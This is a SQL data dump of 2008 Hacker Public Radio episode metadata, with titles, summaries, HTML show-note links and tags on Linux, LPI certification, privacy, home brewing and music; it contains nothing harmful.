(93,'2008-05-08','Newsgroups for Media',1677,'Deepgeek discusses using newsgroups to get media files.','Deepgeek discusses using newsgroups to get media files.  While using\r\nnewsgroups may be old school, using them for this application is often\r\nfaster than bittorrent',73,0,1,'CC-BY-NC-SA','\"media files\",\"news groups\",bittorrent',0,2066,1),
(94,'2008-05-09','Initrd and Initramfs',1818,'Dann continues his series on the Linux boot process','<a href=\"https://www.systhread.net/texts/200510kdiff.php\">Systrhead.net Monolithic vs MicroKernel</a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/Microkernel\">Wikipedia - Microkernel</a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/Monolithic_kernel\">Wikipedia - Monolithic Kernel</a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/Initramfs\">Wikipedia - Initramfs</a> <br>\r\n<a href=\"https://www.ibm.com/developerworks/linux/library/l-initrd.html\">IBM - Initrd Overview</a> <br>\r\n<a href=\"https://www.linuxdevices.com/articles/AT4017834659.html\">Linux Devices - Introduction to initramfs</a> <br>',7,6,1,'CC-BY-NC-SA','Linux,\"Boot process\",init,\"Linux kernel\"',0,2138,1),
(95,'2008-05-12','Security Wow!',1179,'rowinggolfer hosts a parody show about security','parody episode',86,0,1,'CC-BY-NC-SA','security,parody,windows,PC\'s',0,1485,1),
(96,'2008-05-13','Xfce, Oh I how I love you',710,'Why I like XFCE and why you might want to consider using it','droops rehashes a presentation he has given to his local lugs on why he loves xfce.  you can download the presentation and follow along. <br>\r\n\r\n<a href=\"https://monroe.louisianalinux.org/presentations.php\">\r\nLink to presentation </a> <br>',1,0,1,'CC-BY-NC-SA','XFCE,introduction,review',0,1923,1),
(97,'2008-05-14','An Interview with Tony Wright',1702,'Interview with Tony Wright of RescueTime.com','Tony Wright (<a href=\"https://www.rescuetime.com/\">RescueTime.com</a>) <br>\r\nDrake Anubis (DrakeAnubis.com)',58,78,1,'CC-BY-NC-SA','RescueTime.com',0,2663,1),
(98,'2008-05-15','Subversion',613,'Using the Subversion version control system','<a href=\"https://subversion.tigris.org/\"> https://subversion.tigris.org/ </a> <br>\r\n',48,0,1,'CC-BY-NC-SA','linux,\"version control\",subversion',0,1435,1),
(99,'2008-05-16','Tech Music: Blackhat Life',237,'The Tech Music series presents the track \'Blackhat Life\' ','check out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology, blackhat, cracking',0,1593,1),
(100,'2008-05-19','Hackermedia Awards: RFA',1664,'100th episode special droops and enigma cohost. RFA(Radio Freek America) Hackermedia Award','100th episode special droops and enigma cohost with special guest. <br>\r\n<a href=\"https://www.hackermedia.org/awards/rfa.png\"> RFA Hackermedia Award </a> <br>\r\n <br>\r\nThanks to all the Hosts for all their hard work!!\r\n',1,0,1,'CC-BY-NC-SA','Hackermedia',0,2575,1),
(101,'2008-05-20','This old Hack Part 8',2303,'Follow me when I repair a Lawnmower, talking through the process.','Fawkesfyre\'s tales of hacking',75,5,1,'CC-BY-NC-SA','lawnmower,cars,mechanic,engines',0,1836,1),
(102,'2008-05-21','Linux Professional Institute Certifications Part 4',854,'Ken covers SCSI skipping over modem and sound','<p>Ken continues his series on LPI Certifications</p>\n\n<h2>Links:</h2> \n<ul>\n<li><a href=\"https://www.amazon.com/Upgrading-Repairing-Servers-Scott-Mueller/dp/078972815X\">Upgrading and Repairing Servers </a></li>\n<li><a href=\"https://www.amazon.com/LPI-Linux-Certification-Nutshell-Reference/dp/0596804873\">\nLPI Linux Certification in a Nutshell: A Desktop Quick Reference (In a Nutshell (O\'Reilly)) Third Edition\n</a></li>\n</ul>\n\n',30,7,1,'CC-BY-NC-SA','LPI,SCSI',0,1460,1),
(103,'2008-05-22','Community Rant',334,'The hacker world needs to be pulled into shape... A reawakening is required.','Tottenkoph talks about community involvement ',87,0,1,'CC-BY-NC-SA','technology, hacker, rant, equality, women in tech',0,1974,1),
(104,'2008-05-23','Not about Airsoft',670,'This episode discusses comments on youtube, they published a video about airsoft.','<p>droops discusses feedback in the internet age, leave comments now, leave them before, during and after this show! <br>\r\n\r\n<a href=\"https://youtube.com/watch?v=y5kxDz9FoBI\"> Link to Video </a> <br>\r\n\r\n<a href=\"https://hacktv.org\"> Link to Hacktv </a></p>\r\n',1,0,1,'CC-BY-NC-SA','airsoft,youtube,comments',0,3909,1),
(105,'2008-05-26','urban golf',1345,'Covering Urban Golf. Take a tennis ball and stick get out there training to hit a target.','deepgeek talks about urbangolf',73,0,1,'CC-BY-NC-SA','golf,urban,rules,freedom,tips',0,4685,1),
(106,'2008-05-27','Tech Music: Payphone Dreaming',359,'The Tech Music series presents the track \'Payphone Dreaming\'','check out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology, telephone, techno',0,2084,1),
(107,'2008-05-28','Console fonts',1217,'Talking about setting up fonts in XConsole and the regular fonts.','dave yates talks about Console fonts',77,0,1,'CC-BY-NC-SA','fonts,xterm,ubuntu,defaults,\"bitmap fonts\"',0,2007,1),
(108,'2008-05-29','Handbrake - Howto',823,'Talking about how to use handbrake a DVD ripping and conversion tool.','The podcasting machine hosts another episode of hacker public radio',78,0,0,'CC-BY-NC-SA','\"command line\",\"movie quality\",formats,bitrate',0,2334,1),
(109,'2008-05-30','KDE 4 Tips',349,'Make your KDE look better and some shortcut tips.','Skirlet gives some tips and tricks about the <a href=\"https://www.kde.org/\"> KDE 4  </a>desktop enviroment',88,0,1,'CC-BY-NC-SA','shortcuts,styles,kde',0,1944,1),
(110,'2008-06-02','Xoke\'s Favorite Apps',1164,'Talking about different applications and extensions I use in my system.','* <a href=https://www.xubuntu.org/>Xubuntu</a><br>\r\n# <a href=https://www.mozilla.com/en-US/thunderbird/>Thunderbird</a><br>\r\n* <a href=https://flock.com/>Flock</a><br>\r\n<br>\r\nFirefox Extensions (these work on Flock too)<br>\r\n* <a href=https://addons.mozilla.org/firefox/722/>NoScript</a><br>\r\n* <a href=https://addons.mozilla.org/firefox/1122/>Tab Mix Plus</a><br>\r\n* <a href=https://jrweare.googlepages.com/browser2.0>Custom user chrome</a> file to have tabs on the left as this laptop is widescreen.<br>\r\n* <a href=https://firekeeper.mozdev.org/installation.html>Firekeeper</a><br>\r\n* <a href=https://addons.mozilla.org/firefox/1027/>All-in-one-sidebar</a><br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/4429>Secure Login</a><br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/1865>Adblock Plus</a><br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/26>Download Statusbar</a><br>\r\n<br>\r\nThese I use just on Flock<br>\r\n* <a href=https://addons.mozilla.org/firefox/2677/>Morning Coffee</a><br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/748>Greasemonkey</a><br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/427>Scrapbook</a><br>\r\n<br>\r\nThese are my \'dev\' profile extensions<br>\r\n* <a href=https://addons.mozilla.org/en-US/firefox/addon/1843>Firebug</a> - has major issues with FF3 though :(<br>\r\n* <a href=https://addons.mozilla.org/firefox/60/>Web Developer</a><br>\r\n* <a href=https://www.firephp.org/>Fire PHP</a><br>\r\n* <a href=https://addons.mozilla.org/fr/firefox/addon/59>User Agent Switcher</a><br>\r\n<br>\r\n<br>\r\n* <a href=https://www.rousette.org.uk/projects/>Tracks</a><br>\r\n* <a href=https://www.tiddlywiki.com/>Tiddlywiki</a><br>\r\n# Prism<br>\r\n# XChat<br>\r\n    * <a href=https://digdilem.org/irc/index.cgi?entry=2130779227>Uberscript</a><br>\r\n# PC Man<br>\r\n* <a href=https://labs.adobe.com/technologies/air/>Air</a><br>\r\n* <a href=https://twhirl.com>Twhirl</a><br>\r\n# KeePassX<br>\r\n# Ardour<br>\r\n# Amarok<br>\r\n# Rockbox<br>\r\n* <a href=https://lincgeek.org/bashpodder/>Bashpodder</a><br>\r\n# Audacious<br>\r\n# FileZilla</a><br>\r\n# BaoBab<br>\r\n# KTorrent<br>\r\n# Pidgin<br>\r\n* <a href=https://funpidgin.sourceforge.net/>FunPidgin</a><br>\r\n# DigiKam<br>\r\n# GQView<br>\r\n# GIMP<br>\r\n# Inkscape<br>\r\n# AutoFSCK<br>\r\n<br>\r\nMost of these (those with a # not a *) are available in the Ubuntu repositories though or are installed by default though.',79,0,1,'CC-BY-NC-SA','Windows,Linux,Mac,Firefox,Chrome,Extensions,Applications Software',0,2409,1),
(111,'2008-06-03','Steal this movie 2',227,'A short introduction to the film \"Steal This Film 2\" and how it compares to the first movie.','<a href=\"https://www.stealthisfilm.com\"> www.stealthisfilm.com </a>  - short review of\r\nthe documentary film \"steal this film 2.',73,0,1,'CC-BY-NC-SA','short,piracy,movies',0,2218,1),
(112,'2008-06-04','SSH Tunnelling',870,'Covering different use-cases for SSH tunneling and how to set it up.','This month, I\'m taking a break from HPR, but I have a special guest host filling in for me: John Wesley Pruitt from <a href=\"https://jwplinux.libsyn.com/\">JWPLinux\'s Podcast</a>, who will give us an overview of SSH tunneling.',74,0,1,'CC-BY-NC-SA','external,tunneling,ssh,squid,\"dynamic port forwarding\",loopback',0,1910,1),
(113,'2008-06-05','Nintendo Wii Review',610,'Review different games on the Wii. How to play, the look and feel of controllers.','Plexi reviews the <a href=\"https://www.nintendo.com/wii\"> Nintendo Wii </a>  video game console. ',57,0,1,'CC-BY-NC-SA','golf,tennis,nunchucks,\"loading issues\",review',0,1161,1),
(114,'2008-06-06','Linux video editing',3578,'Talking about different video editors, our experience, and what they can handle. Focus on LiVES.','<a href= \"https://docs.google.com/View?docid=dhqjdjm7_35fgkg6vhg\">   This is Salsaman\'s Bio page.\r\n  </a> <br>\r\n<a href=\"https://www.piksel.org/videojack\">  This is his videojack project\r\n </a> <br>\r\n<a href=\"https://www.reimeika.ca/lives/lives_guide.html\">  Very good LiVES Tutorial page that Salsaman  recommended\r\n </a> <br>\r\n<a href=\"https://lives.sourceforge.net/\">   LiVES homepage </a> <br>\r\n\r\n<a href=\"https://lives.sourceforge.net/livesfund.html\">  Fundraising for LiVES 1.0\r\n </a> <br>\r\n<a href=\"https://sourceforge.net/community/cca08\">  Sourceforge user nominations page for LiVES as best multimedia app\r\n </a> <br>\r\n\r\n\r\n<a href=\"https://www.youtube.com/sorteal\">\r\n https://www.youtube.com/sorteal </a> <br>\r\n<a href=\"https://www.serverwillprovide.com/sorteal/\"> www.serverwillprovide.com/sorteal/ </a> <br> \r\n\r\n<a href=\"https://www.serverwillprovide.com/hpr/\"> https://www.serverwillprovide.com/hpr/ </a>  ',25,0,1,'CC-BY-NC-SA','\"video editor\",review,cohost,lives,\"windows movie maker\",jackaudio,vlc',0,2743,1),
(115,'2008-06-09','Promoting Linux',651,'Ken Fallon discusses ways to promote linux','<p>\nAlways ask does this product work with Linux?<br />\nCan I return this if it doesn\'t work for Linux?<br />\nWhen writing quotations include questions about Linux support.\n</p>\n\n',30,0,1,'CC-BY-NC-SA','\"Linux Promotion\"',0,1475,1),
(116,'2008-06-10','Linux Boot Process Part 6 - Init',2137,'Talking about the linux boot process, part 6 in the series. Going through inittab and init levels.','Linux Boot Process pt. 6 - Init \r\n\r\nInit is the mother of all processes.  See my <a href=\"https://www.thelinuxlink.net/~dann/init_hpr.txt\">Notes</a> for a brief reference.  Also check out these resources:\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Init\">Wikipedia page on init</a>\r\ninit man page\r\ninittab man page\r\n<a href=\"https://upstart.ubuntu.com\">Upstart</a>',7,6,1,'CC-BY-NC-SA','linux,bootloader,grub,lilo,ramdisk,\"root partition\",ubuntu,upstart',0,1473,1),
(117,'2008-06-11','Bilderberg Group and the Crimespace project',2482,'Covering the meeting of the Bilderberg Group, the history behind the meetings. Powerful people talk.','The Bilderberg Group met in VA last weekend, including European royalty, a CEO of Google, Craig Mundie from Microsoft,  along with hundreds of the most influential people in the world, and no one noticed. ',75,0,1,'CC-BY-NC-SA','\"bilderberg group\",crimespace,meeting,\"bill gates\"',0,1250,1),
(118,'2008-06-12','June UCLUG Meeting',6412,'This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.','At the UCLUG: Jas continues his bash shell scripting for newbies tutorial, and Allen Valliencourt of FGPTech.',77,0,1,'CC-BY-NC-SA','\"shell script\",uclug,meeting,environment,\"denial of service\",spam,snort',0,1314,1),
(119,'2008-06-13','Tech Music: No Seat Attached',305,'The Tech Music series presents the MC Smedley track \'No Seat Attached\'','MC Smedley garage basement demos.\r\n\r\nNo seat attached - 1st recorded track ever',89,22,1,'CC-BY-NC-SA','music, technology, garage, demo, basement',0,1453,1),
(120,'2008-06-16','Tech Music: Landline Party!!',304,'The Tech Music series presents the track \'Landline Party!!\'','check out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, techno, technology, telephone, modem',0,1720,1),
(121,'2008-06-17','Linguistic Public Radio',271,'The first appearance of Linguistic Public Radio','Plexi talks about her new upcoming project.',57,0,1,'CC-BY-NC-SA','Linguistic Public Radio,linguistics,linguistchat.org',0,1982,1),
(122,'2008-06-18','Batch processing on Linux',328,'We look into an application for batching jobs in sequence or at a time, an email with the result.','Deepgeek discusses batch processing on a linux platform',73,0,1,'CC-BY-NC-SA','debian,email,bash,at,applications',0,2106,1),
(123,'2008-06-19','Misunderstanding Privacy Part 1',1147,'This covers the paper around internet privacy. If we don\'t have anything to hide, why secure it?','<a href=\"https://papers.ssrn.com/sol3/papers.cfm?abstract_id=998565\">SSRN Paper</a> <br>\r\n<a href=\"https://docs.law.gwu.edu/facweb/dsolove/\">Daniel J. Solove</a> <br>\r\n<a href=\"https://www.drakeanubis.com\">Drake Anubis</a> <br>',58,74,1,'CC-BY-NC-SA','privacy,terrorists,paper,internet,\"national security\",theory',0,1616,1),
(124,'2008-06-23','Digital Picture Frame',761,'Encouraging listeners to create a DIY picture frame built from a very old laptop','\r\n<a href=\"https://i47.photobucket.com/albums/f197/mirovengi/2598843693_9ffee7e4c2_o.jpg\"> https://i47.photobucket.com/albums/f197/mirovengi/2598843693_9ffee7e4c2_o.jpg </a> <br>\r\n<a href=\"https://i47.photobucket.com/albums/f197/mirovengi/2598843655_b4fd44222f_o.jpg\"> https://i47.photobucket.com/albums/f197/mirovengi/2598843655_b4fd44222f_o.jpg </a> <br>\r\n\r\n<a href=\"https://i47.photobucket.com/albums/f197/mirovengi/2598843621_30287ffdc3_o.jpg\"> https://i47.photobucket.com/albums/f197/mirovengi/2598843621_30287ffdc3_o.jpg </a> <br>',48,0,1,'CC-BY-NC-SA','DIY,maker,repurpose,hardware hacking',0,2007,1),
(125,'2008-06-24','Home Brew Part 1',1953,'How to brew your own beer, part 1','Equipment needed for Home Brew: <br>\r\n\r\n8 Quart Pot <br>\r\nFermenting Vessel (glass or food grade plastic) <br>\r\nBottling Vessel (again, food grade plastic) <br>\r\nSiphon Hose & Bottling tool <br>\r\nSpoon <br>\r\nFunnel (if using a glass fermenter) <br>\r\nBottle capper\r\nbottles<br>\r\ncaps<br>\r\nsterilizing solution (c-Brite or B-brite) <br>\r\nHop Bag <br>\r\nThermometer <br>\r\nHydrometer <br>\r\nBeer Kit (ingredients) <br>\r\n\r\nLinks: <br>\r\n\r\n<a href=\"https://www.leeners.com\"> https://www.leeners.com </a> <br>\r\n<a href=\"https://www.homebrewtalk.com\"> https://www.homebrewtalk.com </a>',90,14,1,'CC-BY-NC-SA','beer,home brewing,fermenting,bottling,hops',0,1976,1),
(126,'2008-06-25','Ripping the Web',864,'Looking into techniques how to rip webpages, security and applications.','operator explains how to rip content from websites.',36,0,1,'CC-BY-NC-SA','whitelist,\"web pages\",curl,php,cookies,\"streaming media\",ripping,webx,filtering',0,1305,1),
(127,'2008-06-26','How to be Nosey on the Interwebz',686,'Summary of presentation about how to listen to traffic on the network around you.','<a href=\"https://twatech.org/shownotes/howtobenosey.odp\">\r\nHow to be Nosey Presentation </a>',39,0,1,'CC-BY-NC-SA','driftnet,nmap,ettercap,\"web traffic\",wireshark,summary',0,9962,1),
(128,'2008-06-27','Misunderstanding Privacy Part 2',498,'Talking about different ways to define privacy.','Drake continues his series of Misunderstanding privacy. <br>\r\n<a href=\"https://papers.ssrn.com/sol3/papers.cfm?abstract_id=998565\">SSRN Paper</a> <br>\r\n<a href=\"https://docs.law.gwu.edu/facweb/dsolove/\">Daniel J. Solove</a> <br>\r\n<a href=\"https://www.drakeanubis.com\">Drake Anubis</a><br>',58,74,1,'CC-BY-NC-SA','privacy,quotes,philosophy,definition',0,1353,1),
(129,'2008-06-30','Panama City Linux User Group Meeting',4187,'This is a recording of the Panama City Linux User Group Meeting, with live coding.','<a href=\"https://pclug.info/meeting_0058/index.html\">PCLUG meeting notes 0058</a>',77,0,1,'CC-BY-NC-SA','\"windows vista\",\"linux group\",meeting,pclug,\"download party\",installation,\"command line\"',0,1860,1),
(130,'2008-07-01','Unhosing a spyware infected system',917,'In this show, we talk about what we can do with a windows system when it can\'t be trusted anymore.','* <a href=https://www.lavasoftusa.com/products/ad_aware_free.php>Ad-Aware</a><br>\r\n* <a href=https://www.safer-networking.org/en/mirrors/index.html>Spybot Search and Destroy</a><br>\r\n* Either <a href=https://free.grisoft.com/doc/downloads?prd=aff>AVG</a> or <a href=https://www.clamwin.com/content/view/18/46/>Clam AV</a><br>\r\n* <a href=https://www.spywareinfo.com/~merijn/programs.php>HijackThis</a><br>\r\n* <a href=https://technet.microsoft.com/en-us/sysinternals/bb897445.aspx>Rootkit Revealer</a><br>\r\n* <a href=https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx>Autoruns</a><br>\r\n<br>\r\n* <a href=https://www.filehippo.com/download_ccleaner/>C Cleaner</a><br>\r\n* Disk Clean (part of Windows)<br>\r\n* Scan Disk (part of Windows)<br>\r\n* Defrag (part of Windows)<br>',79,0,1,'CC-BY-NC-SA','Windows,Virus,Spyware,Repair,Software',0,2460,1),
(131,'2008-07-02','Adding Stereo to a Computer',1955,'Deepgeek talks about adding a Stereo to his Computer','\r\n\"Deepgeek talks about adding a Stereo to his Computer\"',73,0,1,'CC-BY-NC-SA','audio,stereo,sound output,harmonic distortion,speakers,headphones,flac,lame',0,1954,1),
(132,'2008-07-03','OpenDNS',850,'Rowinggolfer discusses how to set up and configure using OpenDNS.','<ul>\r\n<li><a href=\"https://www.openDNS.com\">openDNS website</a>\r\n<li><a href=\"https://twatech.org/shownotes/transcript.txt\">transcript of the episode</a>\r\n<li><a href=\"https://twatech.org/shownotes/dynamic_ip.html\">rowinggolfer\'s notes on using openDNS with a dynamic IP</a></li>\r\n</ul>',86,0,1,'CC-BY-NC-SA','dns,\"domain name service\",\"site blocking\",\"dynamic ip updating\"',0,1924,1),
(133,'2008-07-04','Talk to Drake',381,'Drake recommends the Shure 8900 microphone and invites listeners to talk to him on a show','<a href=\"https://www.drakeanubis.com\">Drake</a> invites quiet listeners to come on the show and share their interests with him.',58,0,1,'CC-BY-NC-SA','Shure, microphone, invitation, participate, podcasting, correspondents',0,1421,1),
(134,'2008-07-07','Kernal Patching ',1227,'Adding functions or patching issues in your kernel, this is the process.','Part 2 of the How to Build your own Kernal Series',78,0,0,'CC-BY-NC-SA','Building a Kernel',0,1428,1),
(135,'2008-07-08','LPI Ceritification Part 5 PCI Cards',985,'Setup different PC expansion cards','<ul>\r\n<li><a href=\"https://www.gnu.org/copyleft/fdl.html\"> GNU Free Documentation License </a></li>\r\n<li><a href=\"https://web.archive.org/web/20081224171658/https://www.elearnit.de/index.en.html\"> elpicx Live-CD/DVD </a></li>\r\n<li><a href=\"https://web.archive.org/web/20080517214629/https://www.ledge.co.za/software/lpinotes/\"> Leading Edge Training Notes </a></li>\r\n<li><a href=\"https://web.archive.org/web/20090419025048/https://www.ledge.co.za/software/lpinotes/101-letter.pdf\">101-letter.pdf</a></li>\r\n</ul>\r\n<p>\r\nCommands Used:\r\n</p>\r\n<pre><code>lspci -h|less\r\nlspci -n|less\r\nlocate pci.ids | less\r\nless \'locate pci.ids | head -1`\r\nlspci | less\r\nlspci -s 00:1d -v |less\r\nless /proc/pci\r\necho \"Read https://www.rt.com/man/pnpdump.8.html\"\r\nless /proc/interupts\r\nless /proc/ioports\r\nless /proc/iomem\r\nless /proc/dma\r\n</code></pre>\r\n\r\n',30,7,1,'CC-BY-NC-SA','LPI,lspci',0,2030,1),
(136,'2008-07-09','Intercepting Satellite Transmissions',628,'Drake Anubis demonstrates the basic setups to decoding APT satellite transmissions.','Drake Anubis demonstrates the basic setups to decoding APT satellite transmissions. A detailed tutorial is available on <a href=\"https://drakeanubis.com/?q=node/22\">his blog</a>.',58,0,1,'CC-BY-NC-SA','satellite,leo,noaa,photograph,photo,antenna,\"radio receiver\"',0,1558,1),
(137,'2008-07-10','July UCLUG Meeting',8690,'This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.','dave yates as always records his UCLUG meeting ',77,0,1,'CC-BY-NC-SA','bash,\"shell script\",coding,asterix,hashing,backup,regex,ubuntu',0,1873,1),
(138,'2008-07-11','Bee Soft Commander',351,'Looking into Bee Soft which is a file manager similar to Midnight Commander.','Deepgeek talks about the light weight app Bee Soft commander',73,11,1,'CC-BY-NC-SA','languages,\"file manager\",\"ftp client\",\"wipe files\",review',0,2087,1),
(139,'2008-07-14','Compiling a Kernel over the Nework with distcc',1253,'Talking about setting up and compiling with distcc and the benefits over GCC or other options.','klaatu talks about compiling a Kernel over the network with distcc.',78,0,0,'CC-BY-NC-SA','Building a Kernel',0,1445,1),
(140,'2008-07-15','LPI Certification Part 6 Device Configuration',729,'LPIC topic 1.101.6 — Configure Communication Devices','<h3>Objective:</h3>\n<p>\nCandidates should be able to install and configure internal and external communication\ndevices such as modems, ISDN adapters, and DSL switches. This objective includes\nverification of compatibility requirements (especially important if that modem is a\nwinmodem), necessary hardware settings for internal devices (IRQs, DMAs, I/O ports), and\nloading and configuring suitable device drivers. It also includes communication device and\ninterface configuration requirements, such as the correct serial port for 115.2 Kbps, and the\ncorrect modem settings for outbound PPP connection(s).\n</p>\n<h3>Key files, terms, and utilities include:</h3>\n<pre><code>\n/proc/dma          Direct memory accessing channels in use\n/proc/interrupts   Interrupts in use\n/proc/ioports      I/O ports in use\nsetserial(8)       Configure serial port access for an internal modem\n</code></pre>\n\n',30,7,1,'CC-BY-NC-SA','LPI,modems,ISDN,DSL',0,1468,1),
(141,'2008-07-16','Tech Music: Tele-Datu boogie',253,'The Tech Music series presents the track \'Tele-Datu boogie\'','check out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology, telephone',0,1360,1),
(142,'2008-07-17','Home Brew Part 2 - Bottling and Fermentation Fun',1748,'How to brew your own beer, part 2','jelkimantis\' part 2 of his home brewing adventures',90,14,1,'CC-BY-NC-SA','beer,home brewing,fermentation,bottling',0,1512,1),
(143,'2008-07-18','Open GPS Tracker',2609,'Informal talk about open source hardware and the open GPS tracker, sending commands to the phone.','<a href=\"https://opengpstracker.org/\">\r\n https://opengpstracker.org </a> <br>\r\n<a href=\"https://www.opengpstracker.org/wordpress/\r\n\"> https://www.opengpstracker.org/wordpress/ </a> <br>\r\n\r\n<a href=\"https://www.opengpstracker.org/phpBB3/\"> \r\nhttps://www.opengpstracker.org/phpBB3/ </a> <br>\r\n\r\n\r\n<a href=\"https://www.ladyada.net/make/usbtinyisp/index.html\"> https://www.ladyada.net/make/usbtinyisp/index.html </a <br> ',25,0,1,'CC-BY-NC-SA','\"open source\",hardware,firmware,diy,\"micro controllers\",robots,cellphone,GPS,flashing',0,1351,1),
(144,'2008-07-20','Death Note',473,'Review of the anime series \'Death Note\'','deepgeek talks about Death Note anime',73,0,1,'CC-BY-NC-SA','review, anime, adult theme, thriller, recommended',0,7393,1),
(145,'2008-07-21','Stop smoking',516,'A show to encourage you to give up smoking','The one step plan to stopping smoking: Don\'t smoke another one.\r\n \r\nAudio for the record scratch by Halleck\r\n<a href=\"https://www.freesound.org/samplesViewSingle.php?id=29938\">\r\nhttps://www.freesound.org/samplesViewSingle.php?id=29938 </a> <br> \r\n<a href=\"https://creativecommons.org/licenses/sampling+/1.0/\"> https://creativecommons.org/licenses/sampling+/1.0 </a> <br>',30,100,1,'CC-BY-NC-SA','self-help, stop smoking, health',0,1379,1),
(146,'2008-07-22','MC Smedley',420,'The Tech Music series presents another track from MC Smedley','another track by MC Smedley',89,22,1,'CC-BY-NC-SA','music, rock',0,1292,1),
(147,'2008-07-23','New DNS vunerablity',317,'miro talks about a current DNS vulnerability','miro talks about the new DNS vunerablity',48,0,1,'CC-BY-NC-SA','DNS, security, vulnerability, internet, domains',0,1285,1),
(148,'2008-07-24','LinuxFest',1380,'Talking about Linux and the community, and how it\'s to go to LinuxFest.','LinuxFest<br>\r\n<a href=\"https://ohiolinux.org\">Ohio LinuxFest</a>;<br>\r\n<a href=\"https://onlinux.ca\">Ontario LinuxFest</a>;<br>\r\n<a href=\"https://www.southeastlinuxfest.com/wiki\">Southeast LinuxFest</a>.',77,0,1,'CC-BY-NC-SA','linuxfest,linux,geek,community',0,1924,1),
(149,'2008-07-25','DynamicDNS',1492,'klaatu talks about dynamic DNS including a walkthrough for no-ip.com','klaatu talks about dynamic dns',78,0,0,'CC-BY-NC-SA','DNS, dynamic, ssh, security, remote access',0,1548,1),
(150,'2008-07-28','Debloat Windows',678,'In this episode, we talk about how to remove unwanted software from your windows machine.','Cybercod explains how to debloat a windows install disk\r\n\r\n',91,0,1,'CC-BY-NC-SA','bloat,\"service packs\",tweeks,\"customized install\",drivers',0,2042,1),
(151,'2008-07-29','Copyfight Vol 1',700,'Threethirty talks about the basics of DRM, licensing, copyright and copyleft.','\r\n<a href=\"https://www.freesound.org/\"> https://www.freesound.org/ </a> <br>\r\n\r\n<a href=\"https://www.creativecommons.org\"> https://www.creativecommons.org </a> <br>',92,0,1,'CC-BY-NC-SA','copyfight,copyright,licensing,drm',0,1376,1),
(152,'2008-07-30','Pulse Audio Intro',2034,'We discuss what Pulse Audio is and how it works in Linux, talking to the kernel and drivers.','<p>Klaatu interviews Kajarii about Pulse Audio.</p>\r\n<p><a href=\"www.pulseaudio.org\" target=\"_blank\">Pulse Audio Website</a></p>\r\n<p>Since I\'ll be listening to this episode in <a href=\"https://www.thebadapples.info/audiophile/pulseaudio.ogg\">OGG format, I figured I\'d post the ogg version in case anyone else wants it.  --klaatu</p>',78,0,0,'CC-BY-NC-SA','fedora,cohost,\"linux kernel modules\",priority,realtime,pulseaudio,\"sound server\"',0,2288,1),
(153,'2008-07-31','What is an algorithm',242,'This is a definition of what an algorithm is and how it\'s used.','<p><u>What is an algorithm?</u></p>\r\n<p><b>Review Question:</b></p>\r\n<p>Try answering the follow review question by leaving a comment or answering it in your head. If you want you can even write it down on paper.</p>\r\n<p><i>Write an algorithm for your morning routine. From the time the alarm clock rings until you leave the house for work or school.</i></p>\r\n<p>If you\'re like me and do not have a job try writing an algorithm on how to write a resume.<br /></p>\r\n<p><b>Recommended Reads</b></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Algorithm\">https://en.wikipedia.org/wiki/Algorithm</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Euclid\'s_algorithm\">https://en.wikipedia.org/wiki/Euclid\'s_algorithm</a></p>\r\n<p><a href=\"https://computer.howstuffworks.com/question717.htm\">https://computer.howstuffworks.com/question717.htm</a></p>\r\n<p><a href=\"https://www.wisegeek.com/what-is-an-algorithm.htm\">https://www.wisegeek.com/what-is-an-algorithm.htm</a></p><br />\r\n<p><em>This work is licensed under a <a href=\"https://creativecommons.org/licenses/by-nc-sa/3.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 License</a></em></p>',38,0,1,'CC-BY-NC-SA','algorithms,definition',0,2256,1),
(601,'2010-11-22','A community icecast and mumble server for recording podcasts',595,'PipeManMusic describes some resources they\'ve made available to the oggcast community','In this show I talk about the new icecast and mumble server that I have made available to FLOSS/Hacker pod/oggcaster<br />\r\ndworth a <a href=\"opensourcemusician.com\">opensourcemusician.com</a><br />\r\n<a href=\"https://opensourcemusician.libsyn.com\">https://opensourcemusician.libsyn.com</a><br />\r\n<a href=\"https://live.opensourcemusician.com\">https://live.opensourcemusician.com</a><br />\r\n',134,45,1,'CC-BY-NC-SA','icecast,mumble,podcasting,oggcasting',0,2525,1),
(154,'2008-08-01','Linguistic Public Radio Episode 0',529,'The second episode of Linguistic Public Radio','Plexie introduces her new site, forum, irc channel and podcast.  <br>\r\n<a href=\"https://linguistchat.org\"> Linguist Chat Home page </a> <br>\r\noffical irc channel: linguistchat.org #Linguistchat<br>\r\n<a href=\"https://forum.linguistchat.org\"> LinguistChat Forum </a>',57,0,1,'CC-BY-NC-SA','Linguistic Public Radio,linguistics,linguistchat.org',0,1822,1),
(155,'2008-08-04','Installing Xubuntu',725,'Experience of installing Xubuntu and if it\'s easier to use than Ubuntu.','Xoke talks about installing Xubuntu',79,0,1,'CC-BY-NC-SA','Linux,Install',0,2293,1),
(156,'2008-08-05','FRS/GMRS Walkie Talkie Review',984,'Reviewing walkie talkie units, how it actually works, and what features they have. Also nostalgia.','Deepgeek reviews FRS/GMRS walkie-talkies from Radio Shack\r\n(He also waxes nostalgic about CB radio.)',73,0,1,'CC-BY-NC-SA','\"walkie talkie\",GPRS,\"base stations\",privacy,license,freebanding',0,2431,1),
